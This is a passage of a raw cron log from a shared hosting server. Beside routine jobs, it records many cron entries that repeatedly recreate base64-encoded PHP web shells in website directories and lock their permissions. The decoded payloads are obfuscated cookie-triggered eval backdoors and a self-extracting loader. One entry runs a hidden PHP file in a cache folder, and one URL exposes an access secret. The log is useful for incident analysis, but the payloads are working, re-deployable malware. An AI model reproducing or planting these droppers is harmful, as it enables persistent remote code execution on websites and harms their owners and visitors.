ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:51:01 medusa CROND[2215]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 12:51:01 medusa CROND[2221]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 12:51:01 medusa CROND[2225]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 12:51:01 medusa CROND[2227]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 12:51:01 medusa CROND[2228]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 12:51:01 medusa CROND[2231]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 12:51:01 medusa CROND[2239]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:51:01 medusa CROND[2240]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:52:01 medusa CROND[3794]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 12:52:01 medusa CROND[3796]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 12:52:01 medusa CROND[3797]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 12:52:01 medusa CROND[3798]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 12:52:01 medusa CROND[3799]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 12:52:01 medusa CROND[3800]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 12:52:01 medusa CROND[3801]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 12:52:01 medusa CROND[3803]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:52:01 medusa CROND[3806]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:52:01 medusa CROND[3809]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:52:01 medusa CROND[3810]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 12:52:01 medusa CROND[3812]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 12:52:01 medusa CROND[3814]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:53:02 medusa CROND[5310]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 12:53:02 medusa CROND[5357]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 12:53:02 medusa CROND[5359]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 12:53:02 medusa CROND[5360]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 12:53:02 medusa CROND[5361]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:53:02 medusa CROND[5363]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:53:02 medusa CROND[5366]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 12:53:02 medusa CROND[5364]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
